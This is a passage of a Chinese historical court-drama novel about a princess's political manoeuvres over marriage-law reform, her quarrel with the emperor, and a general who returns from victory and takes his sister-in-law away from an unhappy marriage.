一眨眼,姜川总管太学也四年多了。此人颇有手段,当年朝中多有不满,他深知圣心,硬是顶住了压力,先借着陛下改革之志立了威。后来才偶尔为个别世家子弟开方便之门,换来太学中这两年多寒门子弟出头。显见着并非一个做事绝对的棒槌,如今也算是在朝中站稳了脚跟。
姜川记着当年长公主提拔的恩情,每个年节都要来孝敬的。也就是今年接连出了这么多事,长公主不方便见客,才拖到了今日。崔庆英为他牵过线,两人虽已和离,反而比当初更相敬如宾。长公主刚出了小月子,姜川恐有不便,就也把前妻一起叫上了。
他们俩也各自带了人,崔庆英带来的是一位极擅丹青的鱼先生。姜川则是带了太学里的两个年轻士子,特意送到长公主面前认认脸,通通门路。
那鱼先生倒还没说什么,两位士子都是姜川挑出来的人,岂有不明白事理的,都跪到了长公主面前,献上各色奇珍。长公主也不说收不收,只让阴青蘅布宴,把他们都留下来吃饭。
宴上,鱼先生献上所作神女图,明绰一眼看了便高兴,拿姜川学生送的珊瑚来换。鱼先生便说,长公主姿容绝世,他想留在公主府,为长公主描容作画。众人会意,都纷纷出高价买他的画。
从头到尾,没人提及朝中之事。一夜宾主尽欢,长公主又大方,喝得高兴了,众人都有赏赐。谢维已遭多年冷遇,偶尔有宴,也常常是遭人轻慢。如今谢皇后又被废了,谢维自知不是什么人物。没想到在公主府上,明绰两声“舅舅”一叫,姜川和他的学生都是毕恭毕敬地称他“谢公”。
谢维一直等到散了宴,才寻着机会,陪着长公主在月下走走,散散酒气。
“本该多走动的,”谢维担了明绰那两声舅舅,自己也觉得有些不好意思,“如今才来拜见,长公主莫见怪才是。”
明绰不以为意地笑了笑:“自家人不用说这样的话。”
她没多少力气,又饮了酒,走了两步,便觉得乏力,在水边的亭子里坐下了。阴青蘅想扶,明绰却招了招手,示意她下去。谢维站在她身边,看出明绰是有话想单独跟他说。可是她只是看着水面,公主府处处都挂着灯,灯火在水里摇,摇出了一片潋滟,她就这么托着下巴,似是看痴了。
“一掬清泪尽,空余别后嗟。”明绰很轻地叹了一声。谢维眼中微微一动,看见她终于转过来,看定了自己,“这是当年,舅舅为大燕先王所作的悼诗。”
谢维并未否认:“是。”
乌兰徵的死讯传来,建康上下厉兵秣马,准备为据传也丧命了的萧皇后复仇。唯有他闲人一个,洒了一杯酒,祭奠曾经并肩作战过的朋友。
明绰看了他一会儿,忽道:“他当年就说过,以舅舅的才能,当拜大将。”
谢维摇了摇头:“承蒙他抬举。”
一步错,步步错。如今鬓已星星,凌云壮志早成灰。
“当初既能随军幽州,便是皇兄已经不计前嫌。”明绰歪了歪头,似是真心好奇,“平城谈判,两朝和平都是舅舅的功劳,为何不升反贬呢?”
谢维张了张嘴,似是想解释,但又只余一声苦笑,什么都没说。
他不说,明绰心里也很清楚。当初那封家信是谢维带回来呈交的,明绰在信中提醒了皇兄袁增的自作主张。袁增受了陛下的敲打,会把这笔账算到谁的头上,不言而喻。萧盈虽不再追究了,但谋逆是谢维身上洗不掉的一个污点,随时会被翻出旧账来。有心人提两句旧事,谢聿又不肯帮他,其后发生的事情,也就不需要多说了。
明绰轻轻一叹:“舅舅也不必特意来谢,我虽无心,到底也是害了舅舅。如今帮一把,也是应当的。”
谢维低头:“臣不敢。”
明绰还是坐着,只抬头看着他,好一会儿,突然又问:“舅舅的伤如何了?”
谢维一愣,似是不知道她指什么。明绰便轻轻地拍了拍胸口示意。当年袁煦一刀横胸,把谢维的金甲都劈裂了,卢望出使长安的时候,他还在家养那伤呢。
谢维下意识地伸手捂住了胸口,只道:“旧伤罢了,臣都已不记得了。”
“这么重的伤,怎么能忘记呢?”明绰站了起来,突然笑着拍了拍谢维的肩膀,“舅舅还是要保重身体,皇兄还有用得上舅舅的时候。”
谢维眼中微微一动,看了明绰一会儿,野心的渴望在他眼中一闪而过,然
后又习惯性地被他压制。谢维轻轻退了一步,只道:“陛下不会忘记当年的事,恐怕……”
明绰没让他说完:“是啊,我也不会忘记当年的事。”
谢维一愣,以为这是一句威胁。当年就是他奉谢郯之命,带着执金吾卫围住了上阳宫,把那时还是个孩子的小公主赶了出去。他眼神恐惧,明绰便知道他在想什么,唇边的笑意更深,伸手轻轻地拍了拍他的手背,几乎依到了他颊畔耳语:“之前的事情我不记得了,但我不会忘记。当年是你,站到了我母后身边。”
谢维浑身一僵,微微侧过脸看她。灯映在水上,水光又映到她脸上,挨得太近,昏暗中看不清她的神情,唯有逆光的一圈轮廓,宛如故人。谢维心中巨震,几乎脱口而出:“拂霜……”
明绰放开他,退了一步,让他看清了自己。谢维立刻回过神来,低头认错一般:“长公主恕罪……”
“无妨。”明绰伸手摸了摸脸,很怅然似的,“从小都说我像父皇,但我如今照镜子,总觉得越来越像母后了。”
可是母后从来都没有活到她现在这个年纪。
谢维一时语塞,看了她一会儿,轻声道:“是很像。”
“那我希望舅舅,”明绰放下手,看了看谢维,“像当年站在我母后身边那样……”
她没把话说完,谢维已敛袖躬身,肃然道:“臣明白了。”
话说到这个份上便够了。明绰抖了抖,似是觉得冷。阴青蘅手里抱着暖手炉,一直等在亭外,见她冷,就赶紧送了上来,一面小声通报,说两位卢夫人都在等谢公。明绰接过了暖手炉,一边笑着跟谢维说:“舅舅快回去吧,卿兰还大着肚子,别让她等。”
谢维抿了抿唇,犹豫了一下,又道:“长公主也别太伤心,等袁将军回来了,孩子以后还是会有的。”
明绰看了他一眼,突然道:“卿兰肚子里的孩子,算是我的孙辈了吧?”
谢维愣了一下,明绰便笑开来,也不等他回答什么,只轻声道:“真吓人,我都要有孙辈了。”
她再没说什么,让公主府的下人们把谢维好好地送走了。她自己回到了房中,让人伺候着卸去了妆扮。正洗漱,又有外头看门的小厮进来,给阴青蘅递了封信,说是刚送到的。明绰接过来一打开,就看到了桓宜华的字迹。
她不是没有去接过人,但桓宜华都没有再来公主府。要说禁足呢,袁家倒是也不敢,就是看准了桓宜华顾虑多,狠不下这个心。桓廊跟袁增这么多年都穿一条裤子,是无论如何不肯让两个小辈和离的,他虽不是桓宜华的父亲,但他如今是桓氏一门的宗主,桓宜华的母亲也被他指使着,如今都住到袁家来劝了。
桓宜华走是走不了了,明绰之前也没出月子,不方便,两人只能彼此通通信。
益州捷报回来的还有袁綦的信,袁綦前面还在宽慰明绰失去了孩子的痛,后面就是让明绰好好劝劝阿嫂,气得明绰把他的信都烧了。桓宜华今晚写信过来,还想着劝她别生二郎的气,他在外头,又不知道发生了什么,刘氏给他写的信会怎么说想也知道,定是半个字不提袁煦的错处的,要么明绰自己给他写一封信,夫妻两个说开……
明绰没看完就把信纸揉成了一团,有些生气:“我跟他说有什么用?他做弟弟的,还敢去说兄长的不是吗?”
阴青蘅觑了觑她的脸色,小心地把桓宜华的信捡回来,劝了一句:“那倒也未必,他毕竟自小是桓夫人照料的,要是知道了真相,肯定站在阿嫂这头。如今父兄都仰仗着他在益州立功呢,袁将军说话管用些。”
明绰深吸了一口气,揉了揉眉心,稍微平复了一些:“那也是远水救不了近火,我看宜华姐姐要顶不住了。”
桓氏不比楚家,楚恕颐当初都被逼到了那个份上,桓宜华如今的压力可想而知。明绰已经跟萧盈提过了一次,但是萧盈听到个头就让她别说了,桓廊的态度这么坚决,他总不能去硬拆这门亲。萧盈最大的表态,就是又申斥了袁煦,跟当时处理袁綦一样,罚了他的俸,暂停了他的军职,让他思过。
可是陛下越罚,袁、桓两家就越认定,还不够吗?桓宜华还闹什么呢?
明绰又把桓宜华的信拿过来,展开看到了底。她仍是关心明绰的身体,怕她失去了孩子太伤心,小月也是月子,伤心了要落病的,千万宽心,别想太多……字字关怀,唯独不提她自己。只有行间两点斑驳,几乎看不出来,明绰把信拿起来对着烛光一照,才看出来这是两滴眼泪。
明绰一时无言,捏紧了信纸,紧到指节泛白。
她一定会救宜华姐姐出来。明绰深吸了一口气,在心里无声地又重复了一遍。如果要把天地倒过来,她们才有能自由畅意的那一天,那她就把天地倒过来。
第162章
景平三十五年春,东乡公主上书,针对大雍律中对男女婚姻的条例,要求改律。她在“七出”之上又加了“五不去”,将无子定为“非必出之罪”。另许女子诉官,主动和离。休弃之妇改嫁,也无需前夫同意……等等,一共列了八条。
即便陛下根本没有把这八大条拿到太极殿上去议,朝臣们还是很快得知了其中的内容。廷尉桓皋领着左监、右监在含清宫恨不得以头抢地,说此例一开,民间还不知道要乱成什么样子,求陛下万不可妄动律令。
陛下暂将此事搁置,看样子不准备理会长公主所请,果不其然又招致了尚书台对长公主的攻讦,就连袁增也难得加入了桓廊,认为长公主的手伸得太长了。
为了保护妹妹,陛下挑挑拣拣的,又从那八大条里选了两条,予以批准。一条是不许男子为逃刑、避债而休妻,另一条是加重通奸之罪的刑罚。就算是表个态度,他允许长公主议政的意思——议得好不好是另一回事,但是群臣不得再为她能不能议而聒噪。
然而明绰毫不领情,进宫闹了一场。她那八大条,为的是女子之自由,想和离的能够和离,不想和离的也不至于被强行休弃。但萧盈抛却了前面六条,单捡出来后面两条,不还是在强调“不许和离”么?若无保护女子之法令,一味地去加重男人身上的刑罚,最后不还是都转嫁给他们家中的妻子吗?
萧盈亲政二十年,头一次被人这么指着鼻子教训。他还没摆脸色,明绰眼睫毛扇了两下,先开始哭了。
“皇兄打量我是傻子么?”明绰一边哭一边指控,“不答应就一条都别答应,这样糊弄算什么呀!”
萧盈两根手指撑住了太阳穴,已经有点儿哭笑不得了:“那这两条也别用了?”
明绰马上哭得更厉害了:“皇兄怎么一点儿都不为我想想?楚氏当年就是无子才被仲宁嫌弃,我现在这个情形,万一以后……”
萧盈那两根手指又移到了眉心,捏了两下,生让她给气笑了。他看是明绰打量他是个傻子,前几年的事儿转眼就不记得了,才这样放肆地颠倒黑白。
“好,”萧盈抬抬手,让她别演了,“你要是能够说动廷尉,朕绝无二话。”
明绰马上收了眼泪:“当真?”
“当真。”
得了这句话,明绰转头就走了。萧盈看着她的背影,脸上满是哭笑不得的神情,最后也只是摇了摇头,等着看她怎么去说服桓皋。
但是明绰一点儿没有要去啃那块硬骨头的意思。不到一个月,御史台那里堆满了指控桓皋的证据,都是同僚主动呈上来的。轻则参他苛待僚属,酗酒误事,重则说他曾与谢聿勾结,为庾氏族人遮盖过杀人罪行。
陈缙莫名其妙,这些来举报桓皋的都是下层的属官,有两个甚至是今春刚从太学被选出来进入廷尉的。也不知道他们是吃了
哪个山头的熊心豹子胆,上来就敢检举桓大人。
但是职责在身,陈缙向来是个铁面无私的人。御史台核查无误,情况属实,上报御前。等桓廊还想去保弟弟的时候,陛下已经一封圣旨将桓皋外调鄞州,名为平调,实为罢免。
新上任的廷尉心里很有数,到御前捧出了折衷之法。“无子”不为必出之罪,但可凭此纳妾。妇女主动诉离,当有虐待、不养、弃家等正当理由……等等等等。萧盈看完了便笑,问他是不是去过公主府上了。
新廷尉只能承认。萧盈没说什么,让他回去了,再召明绰来,她只耸耸肩,认得很痛快。
“是皇兄让我去说动廷尉的呀。”又没说是哪个廷尉。明绰作得一脸无辜的表情,“我求人办事,不得请人吃饭?”
她一边说,一边把酥酪端出来,送到萧盈面前:“我求皇兄办事,也要请皇兄吃点好的。”
萧盈垂目斜了斜她端到嘴边的酥酪:“你做的?”
府上厨娘做的。但是明绰笑眯眯地点了点头,毫不犹豫地认了下来。
萧盈也不知道是信了还是没信,把酥酪接过来,用勺子拌了拌,只道:“你折腾这些,桓宜华也和离不了。桓家就头一个不答应。”
明绰唇边的笑意更深,只道:“那就好好看看,桓家这百年的清名底下还有多少见不得人的事。”
萧盈听见这话就把酥酪放下了,微微正色,警告似的:“别招惹桓廊。”
桓皋是个没用的,让人抓住了徇私的铁证。但是桓廊不一样,他统领尚书台近三十年,子侄故旧遍及朝野,又有昔年桓殷旧部的支持,桓氏的皇亲血脉作保,当年亲身入温泉宫护驾的忠心……除非谋反,否则桓氏的功勋累世不迁。
陈缙虽持身中正,但也不是傻子。明绰利用得了他一次,绝不可能在桓廊身上故技重施。
明绰便垂了眼睛,一句也不响,不知道是听进去了还是没听进去。萧盈沉沉地叹了口气,也拿出规劝的口气来:“你又何苦非要拆了他们夫妻两个,二十年不容易——”
他还没说完,明绰一勺子酥酪就杵进了他嘴里。看着是喂给陛下,实际险些把萧盈一颗牙敲下来。他吃痛地“嘶”了一声,瞪着眼睛看着她。
“不容易也是宜华姐姐不容易,我看袁煦容易得很!”明绰把酥酪放回桌上,只道,“你别跟我说这个!”
萧盈自己用指关节抵着上唇,果然不作声了。明绰看了他一眼,别别扭扭地去拽他的手,想看看他被撞得怎么样,萧盈也没让,就定定地看着她,看得明绰脸上终于露出了一点儿愧疚交织着心虚的神色,他才把手放下,轻声道:“桓宜华已经答应嫁女了。”
明绰“哦”了一声,她知道。
开春一过,平阳王满了十六岁,已经正式离宫建府。袁、桓两家的长辈现在一起这样施压,桓宜华必须要在某些地方退让。她同不同意的也就是个过场,无非是萧盈看在明绰的面子上,一定要等桓宜华松口才下圣旨。
若是女儿对萧秧无意,桓宜华自然是要硬抗到底的。可偏偏事实并非如此,桓宜华也不可能为了自己的意气,就毁了女儿的终身。
可是袁府里这个闹法,圣旨也是迟迟不能下。
和离虽占个“和”字,但谁都知道,这就是有违天和,有伤风化。平阳王的正妃,怎么能出自一个有违天和、有伤风化的人家呢?
所以萧盈希望这事儿能赶紧过去,桓宜华不忿,他定为她做主,再罚袁煦也就是了,以后绝不让他再犯。这是为了他们的女儿,也是为了他的儿子。他也不想明绰在此事上介入太深,她们妯娌之间感情深是一回事,但家务事是断不清的,她若是和袁增、袁煦都闹得太难看了,和袁綦的日子还过不过了?
但明绰不需要他这番顾虑,只道:“皇兄既然看中了就是看中了,谁敢说什么?”
“那韶音也要被人戳脊梁骨的……”
明绰一口打断他:“韶音怕的才不是这个!”
那孩子几天前才来过公主府,趴在明绰膝头哭了许久,说她不愿意嫁。明绰还以为是她变了心意,可是问了半天,袁韶音又说不是。
她是不敢嫁。母亲当年也是觉得父亲千好万好,怎么就变了呢?要是萧秧以后也变了,那她怎么办?一条路,若是一开始的时候就被告知不许回头,那她怎么敢往前走?
明绰被她问得好一会儿都说不出话。大雍曾出过被父皇特许和离的公主,却从来没有过能够安然脱身的王妃,即使同样是以臣子的身份与皇室结亲,驸马与王妃也是截然不同的命运。
明绰只能抱着袁韶音,一遍一遍地承诺,有她在。以后无论发生什么,都有她在。
她把这事儿告诉了敬漪澜,寄希望于敬漪澜会善待袁韶音,约束儿子——如果萧秧真的需要被约束的话。可是说着说着,明绰又责怪起萧盈褫夺了敬漪澜的封号。她虽名正言顺地出宫了,但毕竟只是个女史。萧秧有良心,平阳王府才尊她,万一萧秧以后没良心,敬漪澜也要仰人鼻息,何谈约束?
她说这些话的时候多少带了点自己的怨气,敬漪澜什么都没说,但明绰这会儿拿同样的话来说的时候,萧盈却舔了舔余痛未消的那颗牙,只道:“又不是谁都会像乌兰晔。”
明绰一下子就没声儿了,瞪着眼睛看着萧盈。也不知道他就是想维护自己的儿子呢,还是今日跟明绰话不投机,非要刺她一下。明显话一出口他也有点悔,伸手拉住了明绰:“溦溦……”
明绰没好气地甩开了他的手,站起来,告退也没有一句,转头走了。
就从这么一句口角开始,兄妹两个难得置起了气。原本萧盈是断然不会如此的,他自知亏欠,这些年里几乎事事都顺着明绰的心意来,就连明绰当初要嫁袁綦,他再不情愿,最后还是准了。所以明绰一开始也没有太把这句话放在心上,没过几日,又跟萧盈提了起用谢维一事。理由是谢维当年于平城之会有功,这么多年都没有好好论功行赏,亏待了他。
萧盈也没有答应,甚至第一次跟明绰吵了起来。
他自认对谢氏已经是仁至义尽,从谢郯在时的一手遮天,到如今谢氏大厦倾颓,他走了整整二十年,就像拿着一把小刀,一点一点刮跗骨之疽,又不能伤筋动骨,所以到了谢聿倒台的时候,朝中才一丝动荡也没有。然而明绰开口就讽刺他,处置谢氏有什么精心的筹谋可言?难道不是借着她腹中孩子的命顺便地推了推手而已吗?
所谓苦心孤诣二十年,什么平衡世家,分权诸姓,不过是陛下自己骗自己。朝中能看着谢氏倒台而无半点声息,是因为早已成了桓氏一家独大的局面。如今的桓廊与当年的谢郯又有什么分别?不过左手倒右手,你方唱罢我登场。当年的谢郯父子好歹还有桓殷牵制,如今的大将军却跟桓廊穿的是一条裤子。
明绰说得毫不留情,若是萧盈现在撒手走了,无论是秧儿还是稷儿即位,他桓廊都会立刻给自己加上太尉衔,辅佐幼主——桓廊还未必有太父那份舐犊之情哪!
说到这份上,萧盈也动了真怒,看了她半天,最后说了一句:“朕是不是太骄纵你了?”
很难说是这一句话更激怒明绰,还是上次那句不是每个人都会变成乌兰晔那样更让她难以接受。
她又想转身走,但走到门口,又觉得不甘似的,突然站定了脚,看着萧盈:“乌兰徵就从来不会对我说这样的话。”
他们也会意见相左,他们意见相左的时候甚至比明绰和萧盈之间要多得多。但是乌兰徵从来没有,哪怕是最生气、最口不择言的时候,他都没有用这种话来提醒过明绰,她的权力是他赏赐的,随时可以收回去。
明绰满意地看到了萧盈脸上一瞬间被深深刺痛的神情。很好,他们还是这世上最了解彼此的人,所以她最知道如何才能最狠地伤害到他。她像是赢了什么一般,冷笑了一声,屈膝
向萧盈行礼:“臣妹告退。”
直到益州大捷,袁綦班师,明绰再也没有去见萧盈一面。
第163章
锣声突然炸响,惊得袁綦的马长嘶一声,不安地甩了甩马头,不愿再往前。
袁府门前已是热闹一片,挤得水泄不通。邻里们都拥到了门前,刘夫人带着下人,满面红光地在门口给孩子们发糖。袁綦翻身下马,相熟的邻居们立刻拥上来连声恭贺,“大将军、少将军”地叫个没完。
袁增也下了马,站在儿子身边,没忍住露出了一丝笑容。
如今袁綦就是大雍最头等的英雄人物。这一仗的转折点是趃榆大捷,那里已出大雍国境,逼近雅隆人的圣山。袁綦没听桓湛的劝阻,采用了谢运的计谋,兵行险着,亲率精锐直下趃榆,就像一根利箭,精准地插|进了雅隆王的心脏。
这一役,他成功生擒了对面领军的雅隆王世子,逼得雅隆王立刻从大雍境内退兵。一旦让出险要,这场战争的胜负就再无悬念。袁綦手里捏着雅隆王最心爱的儿子,还狮子大开口地从他们那里剜来了产矿和产药材最多的两块地方。
往后至少两代人,雅隆就是想打,也不见得有这个财力来支撑了。
平边拓土已是一等一的功勋,袁綦还速战速决,出征到现在还不满一年,大大地给朝廷节省了民力兵力,这样的功劳,在整个景平一朝间都很罕见。所以他一回来,先到太极殿听赏。陛下特意另赐安西侯,以弥补当日褫夺了他袭袁增爵位的资格,且加节钺,在太极殿上亲赐金印,以示恩宠。
长公主当时也在,陛下同样厚赏,加封“昭武”二字,赐仪仗步骑至百人,皆佩绣衣锦袍,甚至已经超过了平阳王的待遇。历朝公主,还从来没有过这样的殊荣。
如此大喜,袁增本是想借这个机会与长公主冰释前嫌的。无奈长公主根本不赏脸,从太极殿退了班,她就被那些新赐的仪仗步骑簇拥着,旌旗鼓乐,惊天动地,扬长而去。
袁綦也是傻愣愣的,好像还想跟着她回公主府,好歹被袁增拉住了,让他回家去先拜会母亲。眼下父子两个一道进了门,袁增难得抓着小儿子的手臂,亲热得都不肯放开。刘夫人一下子扑了上来,自是眼泪鼻涕,激动不已。一家人进得院内,袁綦才看见了兄长。袁煦对他一笑,他便又露出孩子气的本性来,往阿兄身上一扑。
袁煦在家中穿的是便装,让他身上的甲撞得浑身都疼,但脸上还是笑着,狠狠地在弟弟肩背上一拍,小声叹了一句:“好小子……”
他听说袁綦兵行险着的时候着实替弟弟捏了把汗,以为他又冲动行事,不顾后果。没想到真的让他办成了。想来也是前面好几年,仲宁心里憋屈得太狠了,如今终于扬眉吐气,袁煦也替他高兴,一时又说不出什么,只能钳住他的肩膀,把他的头往下摁,一边又说了一句:“好小子!”
袁綦笑着让他揉脑袋,一边问:“阿兄今日怎么不在殿上?”
他不问还好,一问,全家就一下子都安静了。袁煦的表情也是一僵,放开了他,似是很勉强地挤出了一个笑容:“你大喜的日子,先不说这个。”
袁綦看了看他,又回头看了父亲一眼,突然明白了什么。
之前在益州的时候,家里还有信儿来,后来他一路打到趃榆了,就根本收不到了。最后一次收到母亲的家书已是好几个月前,满纸都是对阿嫂的责骂,说她非要把整个袁家都害死不可。如今袁煦连太极殿都不能列席,想来是家事闹得太狠,陛下还在责罚。
袁煦还想当做无事,拉着弟弟要去正厅:“给你备了接风宴,快来快来……”
袁綦不安地回头看了一眼,见父亲不动声色,母亲也是一味拥着他往正厅去。一进门,博儿先冲上来,响亮地叫了一声“二叔!”袁綦咧开嘴一笑,把侄子高高地抱起来,又摸了摸袁识的头,两个孩子都又长高了好多。苻氏与李氏的孩子跟在后面,也跟着叫“二叔”。但袁綦环视了一圈,唯独没看见侄女。
“韶音呢?”袁綦把博儿放下来,又问,“阿嫂呢?”
袁煦还是逃避着他的眼神,倒是袁增回答了一句:“韶音被选为平阳王正妃,近日每天都要进宫去受训诂。”
“那恭喜阿兄了!”
袁煦便笑了笑,只道:“她这没规矩的,可有的训呢……不用等她了,坐吧。”
袁綦没坐,又问了一遍:“阿嫂呢?”
韶音能被选为平阳王妃,那说明兄嫂不可能和离,但是家里备了这么大的宴,又始终没看见桓宜华的身影,他问了两遍,都没人肯正面回答一句。袁綦心里一沉,突然看定了母亲:“娘,阿嫂呢?”
刘夫人一下子提高了声音:“你做什么这样来问我!”
袁綦没说话,母亲这样敏感的反应其实就已经回答了他为什么会这样问她。依然没有人回答他,好像谁也不愿意提及桓宜华。袁綦在家人的沉默中突然生出了似曾相识的恐惧——但是他们怎么敢?桓湛才刚刚跟他一起跪在太极殿受了赏,还有明绰,她是绝不可能看着……
最后还是袁博拉了拉他的袍角,抬头叫了他一声:“娘不舒服,在自己房里。”
袁綦只觉得吊到嗓子眼的一颗心“咚”地一声落下来了。袁增看着他微妙的神情变化,自己的脸色便沉了下来。袁綦转身就走:“我去见见阿嫂。”
刘夫人往前了一步,似是想拉他:“仲宁啊,先吃……”
可是她连袁綦的衣角都没有抓着。刘夫人焦虑地转过脸来,又唤自己的夫君,一副手足无措的样子。但是袁增只是摆了摆手,好像压根没放在心上,让她坐下吃饭。
刘夫人不肯坐,手里拈着帕子,已经抽抽搭搭地开始掉眼泪,一面小声地嘀咕着。她一向这样,有话也不敢说得太大声,反正袁增也从来不会来听她说了什么。唯有袁煦心烦意乱地听进了耳朵里,她无非是抱怨,仲宁跟阿嫂比跟她这个娘都亲,桓宜华肯定又要说她的坏话……
袁煦脸色有些难看,突然把筷子一放,刘夫人被他这动静吓了一跳,看了他一眼,不嘀咕了。
“你发什么脾气?”袁增自若地夹了一筷子菜,问儿子。
袁煦什么都没说,但他的担心其实和母亲差不多,不知道桓宜华会跟袁綦说什么。
这半年来,事情已经完全僵住了。长公主替桓宜华撑腰的方式就是以强权逼迫桓家低头,答应和离。与其说是在拆袁煦和桓宜华的婚事,不如说是在拆桓廊和袁增的利益同盟。如今桓皋被外调,桓宜华的父亲亦被免官,弄得桓廊恨长公主恨得是咬牙切齿。他宦海沉浮,岂会看不懂长公主这点儿厚此薄彼、挑拨离间的小计谋,根本不上她的当。
若说曾经,桓廊还有些看不惯袁增力保长公主的态度。如今长公主也已彻底得罪了袁增,袁增转变立场,他们二人的联盟反而更为牢固了。
两人一文一武,是百官之首,长公主要跟他们俩掰手腕,全靠陛下的偏心。陛下被他们吵得心烦,就对袁煦罚得越重,逼迫他想办法把家事解决。
最后,承受不住的还是桓宜华。
她已不提和离的话了,但是如今她和袁家人彼此都当作对方不存在。她把袁煦赶出了她的院子,府里的所有事情她也不再过问。反正她有自己的食邑,就是夫家和娘家都不管她,她也衣食无忧。
苻氏和李氏感念她这么多年的善待,在这关头展现出了对夫人的忠诚,也不愿意袁煦进她们的屋。刘夫人气不过,做主又给袁煦纳了一房,桓宜华也没有任何反应。
袁增似是知道他在想什么,但他看起来并不担心。桓宜华只要还顾虑女儿,顾虑娘家,就不可能再闹了,跟袁綦说什么都改变不了。所以他还是那句话:“吃饭。”
袁煦皱着眉,刚把筷子重新拿起来,就听到了脚步声。袁綦重新走了回来,刘氏一下子站起来:“仲宁啊……”
但袁綦还是没理她,他甚至连父兄都没看,就只是抱起了袁博,转身就走。
“站住。”袁增叫住了他,“去哪儿?”
袁綦还是不敢在他面前太放肆,转过身来回了一句:“父亲,儿子已经拜会过母亲,这就回公主府了。阿嫂和博儿会随我一起……”
袁增把筷子一放,打断了他:“你翅膀硬了?”
袁綦沉默下来,不敢回答。他还从来没有这样违逆过父亲。袁煦已经站了起来,脸上的神情十分犹豫。他习惯性地想在父亲面前保护弟弟,却又觉得袁綦这样毫不犹豫地站到了桓宜华那边近乎一种背叛。一时僵在原地,满面难堪。袁綦也看了兄长一眼,一副不知道该说他什么好的神情。袁煦似是更难忍受弟弟这样无声的审判,铁青着脸,又坐下了。
袁增冷笑了一声:“你是觉得,你如今又重新得了陛下的恩宠,这家里就是你说了算了?”
“儿子不敢。”
“那谁允许你做弟弟的来插手兄嫂的事情!”
袁綦在他的威吓下缩了一下,袁博明显被太父吓到了,在二叔怀里一缩,连哭都不敢哭。袁綦感觉到孩子的恐惧,反而生出一股胆气来。桓宜华刚才说过的话还在他耳朵里面一下一下地撞,那跟母亲说得完全不一样,但袁
綦立刻就相信了每一个字。他心里非常清楚,这就是他的家人做得出来的事情——这就是他的父亲,曾经对他做过的事。
“大将军是武灵侯。”袁綦突然抬起了头,换了一个称呼,“我是安西侯。”
袁增站了起来:“你什么意思?”
“你是一品柱国将军,我是二品益州都督军事加节钺。”袁綦的声音稍微响了一点儿,“既然我与父亲在朝中同阶,为何我说了不算?”
袁增从桌后绕出来:“反了你了——”
袁綦退了一步,继续把话说完:“我还是驸马!”
袁增的手本已举了起来,在听到他最后一句的时候,却突然瞪着眼睛,打不下去了。他怎么也没有想到有一天会从小儿子嘴里听到这样的话。他竟然拿驸马的身份来压自己的父亲?他被长公主像个男宠一样养在府里两年,只会一味地被那个女人欺压,还不是他这个做父亲的想尽办法,去替他搏来的机会吗!
“好……好!”袁增的手落下来,但没打到他脸上,而是重重地落到了袁綦肩上。然后他笑了一声,咬牙切齿的笑,“真是我的好儿子。”
他的眼睛罕见地红了一圈,比起愤怒,更有心寒。袁綦立刻露出了不忍的神情,皱着眉头:“父亲,我……”
袁增把手从他肩头放下来,毫不留情地转过了身:“我家的屋檐小,留不下驸马了,你还是早些回公主府吧!”
袁綦张了张嘴,有那么一瞬间,他似乎还想挽回些什么,但那片刻的冲动转瞬即逝。他低下头,躬身朝袁增行了一个礼。年幼的侄儿依然在他怀中,茫然地拧过身子,叫了一声:“父亲……?”
袁綦也转向袁煦:“公主府仪仗步骑如今有百人之众,阿兄日后再想见博儿的时候,还请三思。”
袁煦咬紧了牙关,耳后泛起了一片羞耻的淡红,一个字都没说。袁綦抱着侄儿转过了身,果然没有一个人敢拦他,任他大步走了出去-
“长公主。”阴青蘅不知道第几遍问,“就寝吗?”
明绰没听见似的,手里拈着一个莲蓬头,水葱似的指甲掐进去,但也不剥莲子,就光掐那茎,掐得指尖都是一层黏黏的连着丝的绿。一盏灯悬在她身侧,映在水里,幽幽地荡。
阴青蘅只好又说了一遍:“长公主,门口给驸马留了灯了,咱们先歇着吧。”
明绰终于转过来看了她一眼:“给他留灯干什么?”
阴青蘅让她问得答不上来,只好抿了抿嘴,乖觉地退了一步。
明绰便继续掐那莲子。
她快一年没见到袁綦了。要说这段日子她有多么想他,倒也没有。当初乌兰徵出征的时候她要牵肠挂肚得多,如今有太多别的事更值得她去想了。就是知道袁綦进军趃榆的时候有过一层后怕,不过那已经是捷报传来的时候了,所以后怕也就是一瞬,她知道没什么好担心的。
她没有怀疑过他会打胜仗,但也没有想到他会打得这么快、这么风光。明绰有那么一瞬间在想,他这样着急回来,是为了他们的那个孩子吗?可是他应该在进军趃榆之前就已经知道那个孩子没了啊。
送他出征的时候,她在心里暗暗想过,希望曾经那个袁綦回来。她在南阳看见的那个。今天在太极殿上见到他,只觉得他黑了许多,整个人确实不一样了。可即使得到了超过之前的恩宠,站在太极殿上的那个袁綦也不是她最想念的那个。他陌生得让她不知道应该作何反应。
她亏欠他的,算是还清了吗?明绰的指甲深深地嵌进莲子洞里,心里想,还是他也要怪她没保住他们的孩子?又或者,怪她没有劝和兄嫂,搅得这样家宅不宁?
她已与袁增撕破了脸,以后又该拿袁綦怎么办呢?
明绰想得入神,都没注意到有人来通报。袁綦好歹是回自己家,也没有一层层等着下人通报的道理。阴青蘅才刚听完是谁来了,他人已经到了连廊尽头。但没着急往前,明绰听见动静,转回头,就看见桓宜华抱着袁博,也站在他身侧,正跟他说话,像是推让着谁先往前。
明绰一下子站了起来,手里那颗倒霉的莲蓬一下子落到地上,好几颗莲子沿着她的裙摆滚了下来。但她看的不是袁綦,而是牢牢地盯住了桓宜华。
桓宜华看见她的眼神,马上站定在了原地,要哭了的神情。
她跟明绰也吵了一架,就在她说她不和离了以后。桓宜华气不过明绰对她的娘家都如此不留情面,明绰则是气她瞻前顾后,任人拿捏。两人不欢而散,所以后来明绰也不再去袁府接她了。
可是今晚终于见到袁綦回来了,桓宜华第一句还是要他带她离开。能去哪里呢?还是只有公主府。
“阿嫂……”袁綦一副哭笑不得的神情,想推她一把似的,“你去啊!”
“哎呀,不要了……”桓宜华扭过身子,怀里紧紧抱着幼子,小声道,“你们夫妻久别重逢,我就不……”
话还没说完,明绰已经沿着水榭连廊奔到了眼前。桓宜华赶紧遮掩着擦了擦眼泪,屈膝向她行礼:“长公主。”
明绰伸出手在她手肘下扶了一把。桓宜华怎么瘦了这么多?她转过头,看了袁綦一眼,近看才发现他竟壮了——明绰没由来地生出一股想跟他撒气的冲动,不说西南很苦吗?他怎么有脸壮了?
可是说出口的也就是一句明知故问:“你带她来的?”
袁綦点了点头:“嗯。”
明绰就再没说什么,也没问桓宜华是不是会在公主府久住。她把袁博都抱来了,根本就不用多问。所以她只是神色如常地交代了一句,让阴青蘅带人去把桓夫人的房间整理出来,一切和从前一样。
